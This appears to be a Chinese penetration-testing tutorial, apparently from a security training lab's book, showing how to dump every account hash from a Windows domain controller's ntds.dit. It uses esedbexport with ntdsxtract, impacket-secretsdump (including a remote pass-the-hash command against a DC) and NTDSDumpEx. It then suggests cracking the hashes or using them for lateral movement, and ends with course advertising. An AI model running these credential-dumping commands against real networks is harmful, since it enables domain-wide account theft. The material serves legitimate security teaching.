如果已经获得本地管理员账号或是域管理员账号,那么下一个目标通常是域控制器,对于渗透测试人员来说,光荣与荣耀的那一刻就是成功从域控制器提取所有的哈希值。但即使是拥有管理员权限,也无法读取域控制器中存储的c:\Windows\NTDS\ntds.dit文件,因为活动目录始终访问这个文件,所有文件被禁止读出。下面介绍几种常用提取ntds.dit的方法。
01
使用esedbexport恢复ntds.dit
将从目标系统导出的ntds.dit放在本地Linux机器中进行解析,本次实验环境为Kail2.0。
在Kali中打开命令行输入命令下载libesedb。
wgethttps://github.com/libyal/libesedb/releases/download/20170121/libesedb-experimental-20170121.tar.gz
首先安装工具依赖环境,如图6-24所示,输入如下命令。
$ sudo apt-get install autoconf automake autopoint libtool pkg-config
图6-24安装工具依赖环境
将下载好的libesedb进行编译安装,依次输入命令:
$ ./configure$ make$ sudo make install$ sudo ldconfig
安装成功后会在系统/usr/local/bin中出现esedbexport程序,如图6-25所示。
图6-25查看esedbexport是否安装成功
在Kali中打开命令行进入存放ntds.dit目录中,使用esedbexport 恢复,输入如下命令来提取表信息,如图6-26所示,恢复时间视ntds.dit大小决定,导出成功会在同目录生成一个文件夹。这里的存储信息,我们只需要datatable和link_table。
esedbexport -m tables ntds.dit
图6-26使用esedbexport 打开ntds.dit
可以看到成功导出,如图6-27所示。
图6-27查看被打开后的ntds.dit内容
再下载使用ntdsxtract进行提取域信息,导出Hash。
下载,在Kali输入命令:
$ git clone https://github.com/csababarta/ntdsxtract.git
安装,在Kali输入命令:
python setup.py build && python setup.py install
然后将导出ntds.dit.export文件夹和SYSTEM文件一并放入ntdsxtract文件夹中,输入如下命令。
$ dsusers.py ntds.dit.export/datatable.3 ntds.dit.export/link_table.5 output --syshive SYSTEM --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout |tee all_user.txt
成功将域内所有用户信息及Hash导出到all_user.txt中,如图6-28所示。
图6-28导出与内所有用户和Hash信息
导出到Hash可以放在在线网站破解,也可以本地使用hashcat进行破解或在域内直接进行PTH进行横向渗透。
Tips:ntds.dit中包含域内所有信息,不仅仅包括用户和Hash,也可以通过分析ntds.dit导出域内计算机信息或其他信息,如:
dscomputers.py ntds.dit.export/datatable.3 computer_output --csvoutfile all_computers.csv
该命令可以执行导出域内所有计算机信息,导出为csv格式,方便查看,如图6-29所示。
图6-29导出域内所有计算机信息
02
使用impacket工具包导出Hash
使用impacket工具包中的secretsdump 解析ntds.dit文件,导出Hash。
首先下载impacket工具包,在Kali下,输入如下命令下载该工具。
git clone https://github.com/CoreSecurity/impacket.git
下载成功后,将impacket工具包安装在Kali上,impacket是基于使用Python编写的,Kail默认安装了Python,直接输入命令,如图6-30所示。
python setup.py install
图6-30安装impacket
成功安装后,打开命令行进入ntds.dit和SYSTEM目录,输入如下命令,成功导出ntds.dit中所有Hash,如图6-31所示。
impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL
图6-31使用impacket-secretsdump导出用户和Hash
Tips:impacket还可以直接使用用户名和Hash进行验证,从远程域控制器读取ntds.dit转储域Hash,如图6-32所示:
impacket-secretsdump-hashesaad3b435b51404eeaad3b435b51404ee:135d82f03c3698e2e32bcb11f4da741b -just-dc pentest.com/[email protected]
图6-32使用impacket-secretsdump向DC获取信息
03
Windows下解析ntds.dit导出域账号及域Hash
使用NTDSDumpex.exe进行导出Hash操作。NTDSDumpex.exe下载地址:
https://github.com/zcgonvh/NTDSDumpEx/releases/download/v0.3/NTDSDumpEx.zip
首先将ntds.dit、SYSTEM和NTDSDumpex.exe放在同一目录中,打开cmd输入如下命令,域账号及域Hash被成功导出,如图6-33所示。
NTDSDumpex.exe -d ntds.dit -s system
图6-33使用NTDSDumpex.exe打开ntds.dit
Ms08067安全实验室专注于网络安全知识的普及和培训,是专业的“图书出版+培训”的网络安全在线教育平台,专注于网络安全领域中高端人才培养。
平台已开设Web安全零基础就业,Web高级安全攻防进阶,红队实战攻防特训,Java代码安全审计,恶意代码分析与免杀实战,CTF基础实战特训营,网络安全应急响应,安全工具开发,AI与网络安全等系统培训课程。实验室出版安全图书《Web安全攻防:渗透测试实战指南》、《内网安全攻防:渗透测试实战指南》、《Python安全攻防:渗透测试实战指南》、《Java代码审计:入门篇》等。